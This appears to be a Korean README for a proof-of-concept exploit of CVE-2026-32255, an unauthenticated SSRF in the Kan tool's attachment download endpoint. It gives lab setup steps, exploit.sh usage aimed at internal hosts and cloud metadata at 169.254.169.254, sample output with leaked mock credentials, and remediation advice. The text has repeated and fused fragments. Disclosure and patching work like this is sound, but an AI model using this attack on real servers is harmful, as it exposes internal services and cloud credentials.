
이 저장소는 오픈소스 프로젝트 관리 도구인 Kan에서 발견된 고위험도 SSRF(Server-Side Request Forgery, 서버 측 요청 위조) 취약점인 CVE-2026-32255에 대한 개념 증명(POC)을 포함하고 있습니다.
이 저장소는 오픈소스 프로젝트 관리 도구인 Kan 의 높은 심각도의 서버 측 요청 위조(SSRF) 취약점인 CVE-2026-32255에 대한 개념 증명(POC) 을 포함합니다.
취약한 엔드포인트는 인증되지 않은 공격자가 서버에서 임의의 HTTP 요청을 만들고 전체 응답을 읽을 수 있게 하여, 내부 서비스 및 클라우드 메타데이터 엔드포인트에 대한 접근을 가능하게 합니다.
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N파일은 S3 스토리지에서 첨부 파일 다운로드를 프록시하기 위한 엔드포인트를 노출합니다. 이 엔드포인트는 사용자가 제어하는 쿼리 매개변수를 허용하고, 검증이나 인증 없이 서버 측에서 에 직접 전달합니다:
apps/web/src/pages/api/download/attatchment.tsGET /api/download/attatchmenturlfetch()const upstream = await fetch(url); // `url`에 대한 검증 없음
공격자는 임의의 URL을 제공하여 서버가 해당 대상에 HTTP 요청을 보내고 전체 응답 본문을 클라이언트에 반환하도록 할 수 있습니다. 이는 전체 읽기 SSRF(블라인드가 아님)로, 공격자가 전체 응답 내용을 읽을 수 있음을 의미합니다.
http://169.254.169.254/)Kan v0.5.4(마지막 취약 버전)를 클론하고 실행합니다:
git clone --branch v0.5.4 https://github.com/kanbn/kan.git
cd kan
필요한 환경 변수를 구성합니다:
cat > .env <<'EOF'
NEXT_PUBLIC_BASE_URL=http://localhost:3000
BETTER_AUTH_SECRET=poc-secret-not-for-production-use
POSTGRES_URL=postgresql://kan:kan@localhost:5432/kan_db
POSTGRES_PASSWORD=kan
REDIS_URL=redis://localhost:6379
NEXT_PUBLIC_STORAGE_URL=http://localhost:9000
EOF
참고:
dokploy-network관련 오류가 발생하면docker-compose.yml(9행, 130-131행)에서dokploy-network참조를 제거하고docker compose up -d를 다시 실행하세요. 이 네트워크는 로컬에서 필요하지 않습니다.
컨테이너를 시작합니다:
docker compose up -d
애플리케이션은 http://localhost:3000에서 사용할 수 있어야 합니다.
별도의 터미널에서 민감한 내부 API를 시뮬레이션하는 포함된 모의 내부 서비스를 시작합니다:
python3 internal-service.py
이 명령은 가짜 자격 증명을 반환하는 8888 포트의 서버를 시작하여 내부 네트워크에서만 접근할 수 있어야 하는 서비스를 시뮬레이션합니다. 실제 시나리오에서 이 서비스는 방화벽 뒤에 격리되어 외부에서 접근할 수 없습니다. SSRF를 통해 공격자는 서버를 통해 이 서비스에 도달할 수 있습니다.
chmod +x exploit.sh
./exploit.sh http://localhost:3000
./exploit.sh <target-url> [internal-url]
<target-url>: Kan 인스턴스의 기본 URL (예: http://localhost:3000)[internal-url]: SSRF를 통해 가져올 내부 URL (선택 사항, Docker 브리지 게이트웨이에서 자동 감지)./exploit.sh http://localhost:3000
=== CVE-2026-32255 - 첨부 파일 다운로드를 통한 Kan SSRF ===
대상: http://localhost:3000
내부 URL: http://172.17.0.1:8888
[*] 엔드포인트 접근 가능 여부 확인 중...
[+] 엔드포인트 접근 가능 (HTTP 400)
[*] http://172.17.0.1:8888 에 대한 SSRF 시도 중...
[+] 취약함 - 서버가 내부 리소스를 가져옴
유출된 내용:
------------------------------------------------------------
{
"service": "internal-config-api",
"credentials": {
"db_host": "10.0.0.5",
"db_user": "admin",
"db_password": "s3cret_passw0rd!",
"api_key": "sk-internal-4f8a2b1c9d3e7f6a5b0c8d2e1f4a7b3c"
}
}
------------------------------------------------------------
요청을 프록시하기 전에 url 매개변수를 구성된 S3 엔드포인트 호스트 이름과 검증하는 Kan v0.5.5 이상으로 업데이트하세요.
즉시 업데이트할 수 없는 경우, 리버스 프록시 수준에서 취약한 엔드포인트에 대한 외부 접근을 차단하세요.
이 개념 증명은 교육 목적 및 승인된 보안 테스트 전용으로 제공됩니다. 소유한 시스템 또는 명시적인 서면 허가를 받은 시스템에서만 이 도구를 사용하세요.
저자는 이 저장소에 제공된 정보나 도구의 오용에 대해 책임을 지지 않습니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다.
발견자: kOaDT ([email protected])